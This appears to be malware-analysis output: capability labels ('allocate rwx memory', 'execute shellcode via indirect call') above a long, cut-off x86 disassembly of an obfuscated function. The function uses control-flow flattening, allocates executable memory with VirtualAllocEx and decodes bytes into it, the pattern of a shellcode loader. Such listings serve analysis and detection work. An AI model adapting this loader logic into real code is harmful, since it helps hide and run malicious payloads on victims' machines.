Function at 0x4070c0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x27c
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
mov dword [ebp - 0x70], eax
mov dword [ebp - 0x74], ecx
mov dword [ebp - 0x78], edx
mov dword [ebp - 0x7c], 0
mov dword [ebp - 0x80], 0
mov dword [ebp - 0x84], 0
mov dword [ebp - 0x88], 0
mov dword [ebp - 0x8c], 0
mov dword [ebp - 0x90], 0
mov dword [ebp - 0x94], 0
mov dword [ebp - 0x98], 0
mov dword [ebp - 0x9c], 0
mov dword [ebp - 0xb0], 0
mov dword [ebp - 0xb4], 0
mov eax, dword [ebp - 0x78]
mov dword [ebp - 0x68], eax
mov dword [ebp - 0xcc], 0x70a4bc08
mov eax, dword [ebp - 0xcc]
mov ecx, eax
sub ecx, 0x96ccb974
mov dword [ebp - 0xd0], eax
mov dword [ebp - 0xd4], ecx
jg 0x407197
jmp 0x40717b
mov eax, dword [ebp - 0xd0]
sub eax, 0x847f88ba
mov dword [ebp - 0xd8], eax
je 0x407f20
jmp 0x407768
mov eax, dword [ebp - 0xd0]
sub eax, 0x9e4e2669
mov dword [ebp - 0xdc], eax
jg 0x4071cf
jmp 0x4071b3
mov eax, dword [ebp - 0xd0]
sub eax, 0x96ccb975
mov dword [ebp - 0xe0], eax
je 0x4077ad
jmp 0x407768
mov eax, dword [ebp - 0xd0]
add eax, 0x50bd317f
mov dword [ebp - 0xe4], eax
jg 0x407208
jmp 0x4071ec
mov eax, dword [ebp - 0xd0]
sub eax, 0x9e4e266a
mov dword [ebp - 0xe8], eax
je 0x407a1c
jmp 0x407768
mov eax, dword [ebp - 0xd0]
sub eax, 0x7504be7b
mov dword [ebp - 0xec], eax
jg 0x40774c
jmp 0x407224
mov eax, dword [ebp - 0xd0]
sub eax, 0xb19fda3d
mov dword [ebp - 0xf0], eax
jg 0x40725c
jmp 0x407240
mov eax, dword [ebp - 0xd0]
sub eax, 0xaf42ce82
mov dword [ebp - 0xf4], eax
je 0x407a06
jmp 0x407768
mov eax, dword [ebp - 0xd0]
add eax, 0x431b3c88
mov dword [ebp - 0xf8], eax
jg 0x407295
jmp 0x407279
mov eax, dword [ebp - 0xd0]
sub eax, 0xb19fda3e
mov dword [ebp - 0xfc], eax
je 0x407b45
jmp 0x407768
mov eax, dword [ebp - 0xd0]
sub eax, 0x71b4c7b8
mov dword [ebp - 0x100], eax
jg 0x407730
jmp 0x4072b1
mov eax, dword [ebp - 0xd0]
sub eax, 0x70a4bc07
mov dword [ebp - 0x104], eax
jg 0x407714
jmp 0x4072cd
mov eax, dword [ebp - 0xd0]
sub eax, 0x6eac3c8a
mov dword [ebp - 0x108], eax
jg 0x4076f8
jmp 0x4072e9
mov eax, dword [ebp - 0xd0]
sub eax, 0x59a4d60f
mov dword [ebp - 0x10c], eax
jg 0x4076db
jmp 0x407305
mov eax, dword [ebp - 0xd0]
add eax, 0xaf568fa4
mov dword [ebp - 0x110], eax
jg 0x4076bf
jmp 0x407322
mov eax, dword [ebp - 0xd0]
sub eax, 0x4bd99647
mov dword [ebp - 0x114], eax
jg 0x4076a3
jmp 0x40733e
mov eax, dword [ebp - 0xd0]
sub eax, 0x49336c77
mov dword [ebp - 0x118], eax
jg 0x407687
jmp 0x40735a
mov eax, dword [ebp - 0xd0]
sub eax, 0x3ab37739
mov dword [ebp - 0x11c], eax
jg 0x40766b
jmp 0x407376
mov eax, dword [ebp - 0xd0]
sub eax, 0x39bc10a3
mov dword [ebp - 0x120], eax
jg 0x40764f
jmp 0x407392
mov eax, dword [ebp - 0xd0]
sub eax, 0x367aa098
mov dword [ebp - 0x124], eax
jg 0x407633
jmp 0x4073ae
mov eax, dword [ebp - 0xd0]
add eax, 0xcdd25b26
mov dword [ebp - 0x128], eax
jg 0x407617
jmp 0x4073cb
mov eax, dword [ebp - 0xd0]
sub eax, 0x2fcba74d
mov dword [ebp - 0x12c], eax
jg 0x4075fb
jmp 0x4073e7
mov eax, dword [ebp - 0xd0]
sub eax, 0x2b51afcf
mov dword [ebp - 0x130], eax
jg 0x4075df
jmp 0x407403
mov eax, dword [ebp - 0xd0]
sub eax, 0xbd9a737
mov dword [ebp - 0x134], eax
jg 0x4075c3
jmp 0x40741f
mov eax, dword [ebp - 0xd0]
sub eax, 0xfd397244
mov dword [ebp - 0x138], eax
jg 0x4075a7
jmp 0x40743b
mov eax, dword [ebp - 0xd0]
sub eax, 0xfad98de9
mov dword [ebp - 0x13c], eax
jg 0x40758b
jmp 0x407457
mov eax, dword [ebp - 0xd0]
sub eax, 0xf9847e36
mov dword [ebp - 0x140], eax
jg 0x40756f
jmp 0x407473
mov eax, dword [ebp - 0xd0]
sub eax, 0xe4f0a501
mov dword [ebp - 0x144], eax
jg 0x407553
jmp 0x40748f
mov eax, dword [ebp - 0xd0]
sub eax, 0xd96eb203
mov dword [ebp - 0x148], eax
jg 0x407537
jmp 0x4074ab
mov eax, dword [ebp - 0xd0]
sub eax, 0xd7eaf8a3
mov dword [ebp - 0x14c], eax
jg 0x40751b
jmp 0x4074c7
mov eax, dword [ebp - 0xd0]
sub eax, 0xbce4c379
mov dword [ebp - 0x150], eax
je 0x4077cc
jmp 0x4074e3
mov eax, dword [ebp - 0xd0]
sub eax, 0xbd9c4ea5
mov dword [ebp - 0x154], eax
je 0x408518
jmp 0x4074ff
mov eax, dword [ebp - 0xd0]
sub eax, 0xc7142bff
mov dword [ebp - 0x158], eax
je 0x40842f
jmp 0x407768
mov eax, dword [ebp - 0xd0]
sub eax, 0xd7eaf8a4
mov dword [ebp - 0x15c], eax
je 0x40820a
jmp 0x407768
mov eax, dword [ebp - 0xd0]
sub eax, 0xd96eb204
mov dword [ebp - 0x160], eax
je 0x407bcd
jmp 0x407768
mov eax, dword [ebp - 0xd0]
sub eax, 0xe4f0a502
mov dword [ebp - 0x164], eax
je 0x40846f
jmp 0x407768
mov eax, dword [ebp - 0xd0]
sub eax, 0xf9847e37
mov dword [ebp - 0x168], eax
je 0x407a56
jmp 0x407768
mov eax, dword [ebp - 0xd0]
sub eax, 0xfad98dea
mov dword [ebp - 0x16c], eax
je 0x4085ef
jmp 0x407768
mov eax, dword [ebp - 0xd0]
sub eax, 0xfd397245
mov dword [ebp - 0x170], eax
je 0x407e39
jmp 0x407768
mov eax, dword [ebp - 0xd0]
sub eax, 0xbd9a738
mov dword [ebp - 0x174], eax
je 0x407bee
jmp 0x407768
mov eax, dword [ebp - 0xd0]
sub eax, 0x2b51afd0
mov dword [ebp - 0x178], eax
je 0x40859b
jmp 0x407768
mov eax, dword [ebp - 0xd0]
sub eax, 0x2fcba74e
mov dword [ebp - 0x17c], eax
je 0x4085e0
jmp 0x407768
mov eax, dword [ebp - 0xd0]
sub eax, 0x322da4db
mov dword [ebp - 0x180], eax
je 0x40856c
jmp 0x407768
mov eax, dword [ebp - 0xd0]
sub eax, 0x367aa099
mov dword [ebp - 0x184], eax
je 0x4081fb
jmp 0x407768
mov eax, dword [ebp - 0xd0]
sub eax, 0x39bc10a4
mov dword [ebp - 0x188], eax
je 0x407a3e
jmp 0x407768
mov eax, dword [ebp - 0xd0]
sub eax, 0x3ab3773a
mov dword [ebp - 0x18c], eax
je 0x408527
jmp 0x407768
mov eax, dword [ebp - 0xd0]
sub eax, 0x49336c78
mov dword [ebp - 0x190], eax
je 0x4077e2
jmp 0x407768
mov eax, dword [ebp - 0xd0]
sub eax, 0x4bd99648
mov dword [ebp - 0x194], eax
je 0x408448
jmp 0x407768
mov eax, dword [ebp - 0xd0]
sub eax, 0x50a9705d
mov dword [ebp - 0x198], eax
je 0x4084ff
jmp 0x407768
mov eax, dword [ebp - 0xd0]
add eax, 0xa65b29f0
mov dword [ebp - 0x19c], eax
je 0x40778e
jmp 0x407768
mov eax, dword [ebp - 0xd0]
sub eax, 0x6eac3c8b
mov dword [ebp - 0x1a0], eax
je 0x407b5b
jmp 0x407768
mov eax, dword [ebp - 0xd0]
sub eax, 0x70a4bc08
mov dword [ebp - 0x1a4], eax
je 0x40776d
jmp 0x407768
mov eax, dword [ebp - 0xd0]
sub eax, 0x71b4c7b9
mov dword [ebp - 0x1a8], eax
je 0x408607
jmp 0x407768
mov eax, dword [ebp - 0xd0]
sub eax, 0x7504be7c
mov dword [ebp - 0x1ac], eax
je 0x408142
jmp 0x407768
jmp 0x408615
mov eax, 0x59a4d610
mov ecx, 0xbce4c379
mov edx, dword [ebp - 0x68]
cmp edx, 0
cmove eax, ecx
mov dword [ebp - 0xcc], eax
jmp 0x408615
mov eax, 0x96ccb975
mov ecx, 0xbce4c379
cmp dword [ebp - 0x74], 0
cmove eax, ecx
mov dword [ebp - 0xcc], eax
jmp 0x408615
mov eax, 0x49336c78
mov ecx, 0xbce4c379
cmp dword [ebp - 0x70], 0
cmove eax, ecx
mov dword [ebp - 0xcc], eax
jmp 0x408615
mov dword [ebp - 0x6c], 0
mov dword [ebp - 0xcc], 0x71b4c7b9
jmp 0x408615
mov eax, dword [ebp - 0x78]
mov dword [ebp - 0x5c], eax
mov dword [ebp - 0x60], 0
mov dword [ebp - 0x64], 0x46172913
mov eax, dword [ebp - 0x64]
mov ecx, eax
sub ecx, 0xc785208e
mov dword [ebp - 0x1b0], eax
mov dword [ebp - 0x1b4], ecx
jg 0x407834
jmp 0x407818
mov eax, dword [ebp - 0x1b0]
sub eax, 0x97df74a5
mov dword [ebp - 0x1b8], eax
je 0x4079e1
jmp 0x407930
mov eax, dword [ebp - 0x1b0]
sub eax, 0xf3c7031b
mov dword [ebp - 0x1bc], eax
jg 0x40786c
jmp 0x407850
mov eax, dword [ebp - 0x1b0]
sub eax, 0xc785208f
mov dword [ebp - 0x1c0], eax
je 0x407953
jmp 0x407930
mov eax, dword [ebp - 0x1b0]
sub eax, 0x46172912
mov dword [ebp - 0x1c4], eax
jg 0x4078a4
jmp 0x407888
mov eax, dword [ebp - 0x1b0]
sub eax, 0xf3c7031c
mov dword [ebp - 0x1c8], eax
je 0x4079ce
jmp 0x407930
mov eax, dword [ebp - 0x1b0]
sub eax, 0x5fc06e59
mov dword [ebp - 0x1cc], eax
jg 0x4078dc
jmp 0x4078c0
mov eax, dword [ebp - 0x1b0]
sub eax, 0x46172913
mov dword [ebp - 0x1d0], eax
je 0x407935
jmp 0x407930
mov eax, dword [ebp - 0x1b0]
sub eax, 0x5fc06e5a
mov dword [ebp - 0x1d4], eax
je 0x40799b
jmp 0x4078f8
mov eax, dword [ebp - 0x1b0]
sub eax, 0x630203e3
mov dword [ebp - 0x1d8], eax
je 0x4079a7
jmp 0x407914
mov eax, dword [ebp - 0x1b0]
sub eax, 0x6b31fabe
mov dword [ebp - 0x1dc], eax
je 0x40797d
jmp 0x407930
jmp 0x4079dc
mov eax, 0xf3c7031c
mov ecx, 0xc785208f
mov edx, dword [ebp - 0x60]
cmp edx, dword [0x4190c8]
cmovb eax, ecx
mov dword [ebp - 0x64], eax
jmp 0x4079dc
mov eax, 0x5fc06e5a
mov ecx, 0x6b31fabe
lea edx, [0x419050]
imul esi, dword [ebp - 0x60], 0xc
add edx, esi
mov edx, dword [edx + 4]
cmp edx, dword [ebp - 0x5c]
cmove eax, ecx
mov dword [ebp - 0x64], eax
jmp 0x4079dc
lea eax, [0x419050]
imul ecx, dword [ebp - 0x60], 0xc
add eax, ecx
mov dword [ebp - 0x58], eax
mov dword [ebp - 0x64], 0x97df74a5
jmp 0x4079dc
mov dword [ebp - 0x64], 0x630203e3
jmp 0x4079dc
mov eax, 0
mov ecx, dword [ebp - 0x60]
mov edx, eax
sub edx, ecx
mov ecx, eax
sub ecx, 1
add edx, ecx
sub eax, edx
mov dword [ebp - 0x60], eax
mov dword [ebp - 0x64], 0x46172913
jmp 0x4079dc
mov dword [ebp - 0x58], 0
mov dword [ebp - 0x64], 0x97df74a5
jmp 0x4077f6
mov eax, 0x9e4e266a
mov ecx, 0xaf42ce82
mov edx, dword [ebp - 0x58]
mov dword [ebp - 0x80], edx
cmp dword [ebp - 0x80], 0
cmove eax, ecx
mov dword [ebp - 0xcc], eax
jmp 0x408615
mov dword [ebp - 0x6c], 0
mov dword [ebp - 0xcc], 0x71b4c7b9
jmp 0x408615
mov eax, 0xf9847e37
mov ecx, 0x39bc10a4
mov edx, dword [ebp - 0x80]
cmp dword [edx + 8], 0
cmovne eax, ecx
mov dword [ebp - 0xcc], eax
jmp 0x408615
mov eax, dword [ebp - 0x80]
mov eax, dword [eax + 8]
mov dword [ebp - 0x6c], eax
mov dword [ebp - 0xcc], 0x71b4c7b9
jmp 0x408615
lea eax, [ebp - 0xc4]
lea ecx, [0x40f6a0]
mov edx, dword [ebp - 0x80]
add ecx, dword [edx]
mov dword [ebp - 0x7c], ecx
mov ecx, esp
mov dword [ecx + 8], eax
mov dword [ecx + 4], 0
mov dword [ecx], 0
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleHandleExW]
call eax
sub esp, 0xc
mov ecx, 0
mov edx, dword [ebp - 0x7c]
add edx, 0x2f
mov dword [ebp - 0x84], edx
mov edx, dword [ebp - 0x7c]
mov edx, dword [edx + 0x23]
shl edx, 1
mov esi, dword [ebp - 0x7c]
add esi, 0x2f
shl edx, 2
add esi, edx
mov dword [ebp - 0x8c], esi
mov edx, dword [ebp - 0x7c]
mov edx, dword [edx + 0x23]
shl edx, 1
mov esi, dword [ebp - 0x7c]
mov esi, dword [esi + 0x27]
shl esi, 1
mov edi, ecx
sub edi, edx
mov edx, ecx
sub edx, esi
add edi, edx
sub ecx, edi
mov edx, dword [ebp - 0x7c]
add edx, 0x2f
shl ecx, 2
add edx, ecx
mov dword [ebp - 0x94], edx
mov ecx, dword [ebp - 0x70]
mov edx, esp
mov dword [edx + 8], ecx
mov dword [edx + 0x10], 0x40
mov dword [edx + 0xc], 0x1000
mov dword [edx + 4], 0
mov dword [edx], 0xffffffff
mov ecx, dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x1e0], eax
call ecx
sub esp, 0x14
mov ecx, 0x6eac3c8b
mov edx, 0xb19fda3e
mov dword [ebp - 0x9c], eax
cmp dword [ebp - 0x9c], 0
cmove ecx, edx
mov dword [ebp - 0xcc], ecx
jmp 0x408615
mov dword [ebp - 0x6c], 0
mov dword [ebp - 0xcc], 0x71b4c7b9
jmp 0x408615
mov eax, dword [ebp - 0xc4]
mov ecx, dword [0x4190cc]
sub eax, 0x59384530
sub eax, ecx
add eax, 0x59384530
mov dword [ebp - 0xc8], eax
mov eax, dword [ebp - 0x9c]
mov ecx, dword [ebp - 0x80]
mov dword [ecx + 8], eax
mov eax, dword [ebp - 0x78]
mov ecx, dword [ebp - 0xc4]
add eax, 0x8ca51d6f
add eax, ecx
sub eax, 0x8ca51d6f
mov dword [ebp - 0x98], eax
mov dword [ebp - 0xa0], 0
mov dword [ebp - 0xa4], 0
mov dword [ebp - 0xa8], 0
mov dword [ebp - 0xcc], 0xd96eb204
jmp 0x408615
mov eax, 0xfad98dea
mov ecx, 0xbd9a738
mov edx, dword [ebp - 0xa4]
cmp edx, dword [ebp - 0x70]
cmovb eax, ecx
mov dword [ebp - 0xcc], eax
jmp 0x408615
mov eax, 0
mov ecx, dword [ebp - 0x78]
mov edx, dword [ebp - 0xa4]
mov esi, eax
sub esi, ecx
mov ecx, eax
sub ecx, edx
add esi, ecx
sub eax, esi
mov dword [ebp - 0xb8], eax
mov eax, dword [ebp - 0xb8]
mov ecx, dword [ebp - 0x7c]
mov ecx, dword [ecx + 0x23]
mov edx, dword [ebp - 0x84]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x24], 0xa5c9dc33
mov eax, dword [ebp - 0x24]
mov ecx, eax
sub ecx, 0x47265b07
mov dword [ebp - 0x1e4], eax
mov dword [ebp - 0x1e8], ecx
jg 0x407d55
jmp 0x407c59
mov eax, dword [ebp - 0x1e4]
sub eax, 0x95389ce
mov dword [ebp - 0x1ec], eax
jg 0x407d39
jmp 0x407c75
mov eax, dword [ebp - 0x1e4]
sub eax, 0xc7f25788
mov dword [ebp - 0x1f0], eax
jg 0x407cad
jmp 0x407c91
mov eax, dword [ebp - 0x1e4]
sub eax, 0xa5c9dc33
mov dword [ebp - 0x1f4], eax
je 0x407d76
jmp 0x407d71
mov eax, dword [ebp - 0x1e4]
sub eax, 0xdea5c0eb
mov dword [ebp - 0x1f8], eax
jg 0x407d1d
jmp 0x407cc9
mov eax, dword [ebp - 0x1e4]
sub eax, 0xc7f25789
mov dword [ebp - 0x1fc], eax
je 0x407d91
jmp 0x407ce5
mov eax, dword [ebp - 0x1e4]
sub eax, 0xc8d228c3
mov dword [ebp - 0x200], eax
je 0x407dd8
jmp 0x407d01
mov eax, dword [ebp - 0x1e4]
sub eax, 0xda44265c
mov dword [ebp - 0x204], eax
je 0x407dff
jmp 0x407d71
mov eax, dword [ebp - 0x1e4]
sub eax, 0xdea5c0ec
mov dword [ebp - 0x208], eax
je 0x407dcc
jmp 0x407d71
mov eax, dword [ebp - 0x1e4]
sub eax, 0x95389cf
mov dword [ebp - 0x20c], eax
je 0x407db2
jmp 0x407d71
mov eax, dword [ebp - 0x1e4]
sub eax, 0x47265b08
mov dword [ebp - 0x210], eax
je 0x407e12
jmp 0x407d71
jmp 0x407e0d
mov eax, 0xda44265c
mov ecx, 0xc7f25789
mov edx, dword [ebp - 0x20]
cmp edx, dword [ebp - 0x18]
cmovb eax, ecx
mov dword [ebp - 0x24], eax
jmp 0x407e0d
mov eax, 0xdea5c0ec
mov ecx, 0x95389cf
mov edx, dword [ebp - 0x20]
mov esi, dword [ebp - 0x1c]
mov edx, dword [esi + edx*8]
cmp edx, dword [ebp - 0x14]
cmove eax, ecx
mov dword [ebp - 0x24], eax
jmp 0x407e0d
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
shl eax, 3
add ecx, eax
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0x24], 0x47265b08
jmp 0x407e0d
mov dword [ebp - 0x24], 0xc8d228c3
jmp 0x407e0d
mov eax, 0
mov ecx, dword [ebp - 0x20]
mov edx, eax
sub edx, ecx
mov ecx, eax
sub ecx, 1
add edx, ecx
sub eax, edx
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x24], 0xa5c9dc33
jmp 0x407e0d
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x24], 0x47265b08
jmp 0x407c37
mov eax, 0x847f88ba
mov ecx, 0xfd397245
mov edx, dword [ebp - 0x10]
mov dword [ebp - 0x88], edx
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0xcc], eax
jmp 0x408615
mov eax, 0
mov ecx, 0xffffffff
mov edx, dword [ebp - 0x88]
mov edx, dword [edx + 4]
mov esi, dword [ebp - 0x7c]
mov esi, dword [esi + 0x1f]
mov edi, edx
xor edi, 0xffffffff
and edi, 0x782a1040
xor ecx, 0x782a1040
and edx, ecx
mov ebx, esi
xor ebx, 0xffffffff
and ebx, 0x782a1040
and esi, ecx
or edi, edx
or ebx, esi
xor edi, ebx
mov ecx, dword [ebp - 0xc4]
sub edi, 0x45ace098
add edi, ecx
add edi, 0x45ace098
mov dword [ebp - 0xbc], edi
mov ecx, dword [ebp - 0xbc]
mov edx, dword [ebp - 0x9c]
mov esi, dword [ebp - 0xa4]
mov edi, eax
sub edi, esi
sub edx, edi
mov esi, eax
sub esi, edx
mov edx, eax
sub edx, 4
add esi, edx
mov edx, eax
sub edx, esi
mov esi, eax
sub esi, edx
add ecx, esi
mov edx, dword [ebp - 0x9c]
mov esi, dword [ebp - 0xa4]
mov dword [edx + esi], ecx
mov ecx, dword [ebp - 0xa4]
mov edx, eax
sub edx, ecx
mov ecx, eax
sub ecx, 4
add edx, ecx
mov ecx, eax
sub ecx, edx
mov dword [ebp - 0xa4], ecx
mov ecx, dword [ebp - 0xb0]
mov edx, eax
sub edx, ecx
mov ecx, eax
sub ecx, 1
add edx, ecx
sub eax, edx
mov dword [ebp - 0xb0], eax
mov dword [ebp - 0xcc], 0xd96eb204
jmp 0x408615
mov eax, dword [ebp - 0xb8]
mov ecx, dword [ebp - 0x7c]
mov ecx, dword [ecx + 0x27]
mov edx, dword [ebp - 0x8c]
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x34], edx
mov dword [ebp - 0x38], 0
mov dword [ebp - 0x3c], 0xa5c9dc33
mov eax, dword [ebp - 0x3c]
mov ecx, eax
sub ecx, 0x47265b07
mov dword [ebp - 0x214], eax
mov dword [ebp - 0x218], ecx
jg 0x408067
jmp 0x407f6b
mov eax, dword [ebp - 0x214]
sub eax, 0x95389ce
mov dword [ebp - 0x21c], eax
jg 0x40804b
jmp 0x407f87
mov eax, dword [ebp - 0x214]
sub eax, 0xc7f25788
mov dword [ebp - 0x220], eax
jg 0x407fbf
jmp 0x407fa3
mov eax, dword [ebp - 0x214]
sub eax, 0xa5c9dc33
mov dword [ebp - 0x224], eax
je 0x408088
jmp 0x408083
mov eax, dword [ebp - 0x214]
sub eax, 0xdea5c0eb
mov dword [ebp - 0x228], eax
jg 0x40802f
jmp 0x407fdb
mov eax, dword [ebp - 0x214]
sub eax, 0xc7f25789
mov dword [ebp - 0x22c], eax
je 0x4080a3
jmp 0x407ff7
mov eax, dword [ebp - 0x214]
sub eax, 0xc8d228c3
mov dword [ebp - 0x230], eax
je 0x4080ea
jmp 0x408013
mov eax, dword [ebp - 0x214]
sub eax, 0xda44265c
mov dword [ebp - 0x234], eax
je 0x408108
jmp 0x408083
mov eax, dword [ebp - 0x214]
sub eax, 0xdea5c0ec
mov dword [ebp - 0x238], eax
je 0x4080de
jmp 0x408083
mov eax, dword [ebp - 0x214]
sub eax, 0x95389cf
mov dword [ebp - 0x23c], eax
je 0x4080c4
jmp 0x408083
mov eax, dword [ebp - 0x214]
sub eax, 0x47265b08
mov dword [ebp - 0x240], eax
je 0x40811b
jmp 0x408083
jmp 0x408116
mov eax, 0xda44265c
mov ecx, 0xc7f25789
mov edx, dword [ebp - 0x38]
cmp edx, dword [ebp - 0x30]
cmovb eax, ecx
mov dword [ebp - 0x3c], eax
jmp 0x408116
mov eax, 0xdea5c0ec
mov ecx, 0x95389cf
mov edx, dword [ebp - 0x38]
mov esi, dword [ebp - 0x34]
mov edx, dword [esi + edx*8]
cmp edx, dword [ebp - 0x2c]
cmove eax, ecx
mov dword [ebp - 0x3c], eax
jmp 0x408116
mov eax, dword [ebp - 0x38]
mov ecx, dword [ebp - 0x34]
shl eax, 3
add ecx, eax
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x3c], 0x47265b08
jmp 0x408116
mov dword [ebp - 0x3c], 0xc8d228c3
jmp 0x408116
mov eax, 0
mov ecx, dword [ebp - 0x38]
sub eax, 1
sub ecx, eax
mov dword [ebp - 0x38], ecx
mov dword [ebp - 0x3c], 0xa5c9dc33
jmp 0x408116
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x3c], 0x47265b08
jmp 0x407f49
mov eax, 0x367aa099
mov ecx, 0x7504be7c
mov edx, dword [ebp - 0x28]
mov dword [ebp - 0x88], edx
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0xcc], eax
jmp 0x408615
mov eax, 0
mov ecx, dword [ebp - 0xb8]
mov edx, dword [ebp - 0xc4]
mov esi, eax
sub esi, edx
sub ecx, esi
mov ecx, dword [ecx]
mov edx, dword [ebp - 0xc8]
mov esi, eax
sub esi, edx
add ecx, esi
mov edx, dword [ebp - 0x7c]
mov edx, dword [edx + 0x1f]
mov esi, ecx
xor esi, 0xffffffff
mov edi, edx
and edi, esi
xor edx, 0xffffffff
and ecx, edx
or edi, ecx
mov ecx, dword [ebp - 0xc8]
sub edi, 0x7a95f108
add edi, ecx
add edi, 0x7a95f108
mov dword [ebp - 0xc0], edi
mov ecx, dword [ebp - 0xc0]
mov edx, dword [ebp - 0x9c]
mov esi, dword [ebp - 0xa4]
mov dword [edx + esi], ecx
mov ecx, dword [ebp - 0xa4]
add ecx, 0xc26732e8
add ecx, 4
sub ecx, 0xc26732e8
mov dword [ebp - 0xa4], ecx
mov ecx, dword [ebp - 0xb4]
mov edx, eax
sub edx, ecx
mov ecx, eax
sub ecx, 1
add edx, ecx
sub eax, edx
mov dword [ebp - 0xb4], eax
mov dword [ebp - 0xcc], 0xd96eb204
jmp 0x408615
mov dword [ebp - 0xcc], 0xd7eaf8a4
jmp 0x408615
mov eax, dword [ebp - 0xa4]
mov ecx, dword [ebp - 0x7c]
mov ecx, dword [ecx + 0x2b]
mov edx, dword [ebp - 0x94]
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x48], ecx
mov dword [ebp - 0x4c], edx
mov dword [ebp - 0x50], 0
mov dword [ebp - 0x54], 0x723a0b79
mov eax, dword [ebp - 0x54]
mov ecx, eax
sub ecx, 0x723a0b78
mov dword [ebp - 0x244], eax
mov dword [ebp - 0x248], ecx
jg 0x408351
jmp 0x408255
mov eax, dword [ebp - 0x244]
sub eax, 0xf61c6674
mov dword [ebp - 0x24c], eax
jg 0x408335
jmp 0x408271
mov eax, dword [ebp - 0x244]
sub eax, 0xd6c3b9ad
mov dword [ebp - 0x250], eax
jg 0x408319
jmp 0x40828d
mov eax, dword [ebp - 0x244]
sub eax, 0xc334f078
mov dword [ebp - 0x254], eax
jg 0x4082fd
jmp 0x4082a9
mov eax, dword [ebp - 0x244]
sub eax, 0x8bee1515
mov dword [ebp - 0x258], eax
je 0x4083ae
jmp 0x4082c5
mov eax, dword [ebp - 0x244]
sub eax, 0x94b0c38e
mov dword [ebp - 0x25c], eax
je 0x4083d4
jmp 0x4082e1
mov eax, dword [ebp - 0x244]
sub eax, 0xa58e6bf3
mov dword [ebp - 0x260], eax
je 0x4083f5
jmp 0x40836d
mov eax, dword [ebp - 0x244]
sub eax, 0xc334f079
mov dword [ebp - 0x264], eax
je 0x4083c8
jmp 0x40836d
mov eax, dword [ebp - 0x244]
sub eax, 0xd6c3b9ae
mov dword [ebp - 0x268], eax
je 0x408408
jmp 0x40836d
mov eax, dword [ebp - 0x244]
sub eax, 0xf61c6675
mov dword [ebp - 0x26c], eax
je 0x40838d
jmp 0x40836d
mov eax, dword [ebp - 0x244]
sub eax, 0x723a0b79
mov dword [ebp - 0x270], eax
je 0x408372
jmp 0x40836d
jmp 0x408403
mov eax, 0xa58e6bf3
mov ecx, 0xf61c6675
mov edx, dword [ebp - 0x50]
cmp edx, dword [ebp - 0x48]
cmovb eax, ecx
mov dword [ebp - 0x54], eax
jmp 0x408403
mov eax, 0xc334f079
mov ecx, 0x8bee1515
mov edx, dword [ebp - 0x50]
mov esi, dword [ebp - 0x4c]
mov edx, dword [esi + edx*8]
cmp edx, dword [ebp - 0x44]
cmove eax, ecx
mov dword [ebp - 0x54], eax
jmp 0x408403
mov eax, dword [ebp - 0x50]
mov ecx, dword [ebp - 0x4c]
shl eax, 3
add ecx, eax
mov dword [ebp - 0x40], ecx
mov dword [ebp - 0x54], 0xd6c3b9ae
jmp 0x408403
mov dword [ebp - 0x54], 0x94b0c38e
jmp 0x408403
mov eax, dword [ebp - 0x50]
add eax, 0xf54c9eda
add eax, 1
sub eax, 0xf54c9eda
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x54], 0x723a0b79
jmp 0x408403
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x54], 0xd6c3b9ae
jmp 0x408233
mov eax, 0x2b51afd0
mov ecx, 0xc7142bff
mov edx, dword [ebp - 0x40]
mov dword [ebp - 0x90], edx
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0xcc], eax
jmp 0x408615
mov dword [ebp - 0xac], 0
mov dword [ebp - 0xcc], 0x4bd99648
jmp 0x408615
mov eax, 0x322da4db
mov ecx, 0xe4f0a502
mov edx, dword [ebp - 0xac]
mov esi, dword [ebp - 0x90]
cmp edx, dword [esi + 4]
cmovb eax, ecx
mov dword [ebp - 0xcc], eax
jmp 0x408615
mov eax, 0xbd9c4ea5
mov ecx, 0x50a9705d
mov edx, 0
mov esi, dword [ebp - 0xa4]
mov edi, dword [ebp - 0x98]
movzx esi, byte [edi + esi]
mov edi, dword [ebp - 0xa8]
mov ebx, edx
sub ebx, edi
mov dword [ebp - 0x274], eax
mov eax, edx
sub eax, 1
add ebx, eax
sub edx, ebx
mov dword [ebp - 0xa8], edx
mov eax, dword [ebp - 0x7c]
movzx eax, byte [eax + edi + 1]
mov edx, esi
xor edx, 0xffffffff
mov edi, eax
and edi, edx
xor eax, 0xffffffff
and esi, eax
or edi, esi
mov eax, edi
mov edx, dword [ebp - 0xa4]
mov esi, dword [ebp - 0x9c]
mov byte [esi + edx], al
mov edx, dword [ebp - 0xa8]
mov esi, dword [ebp - 0x7c]
movzx esi, byte [esi]
cmp edx, esi
mov edx, dword [ebp - 0x274]
cmove edx, ecx
mov dword [ebp - 0xcc], edx
jmp 0x408615
mov dword [ebp - 0xa8], 0
mov dword [ebp - 0xcc], 0xbd9c4ea5
jmp 0x408615
mov dword [ebp - 0xcc], 0x3ab3773a
jmp 0x408615
mov eax, dword [ebp - 0xac]
sub eax, 0xdc8f16b2
add eax, 1
add eax, 0xdc8f16b2
mov dword [ebp - 0xac], eax
mov eax, dword [ebp - 0xa4]
add eax, 0xb09f5287
add eax, 1
sub eax, 0xb09f5287
mov dword [ebp - 0xa4], eax
mov dword [ebp - 0xcc], 0x4bd99648
jmp 0x408615
mov eax, dword [ebp - 0xac]
mov ecx, dword [ebp - 0xa0]
sub ecx, 0xac397bb4
add ecx, eax
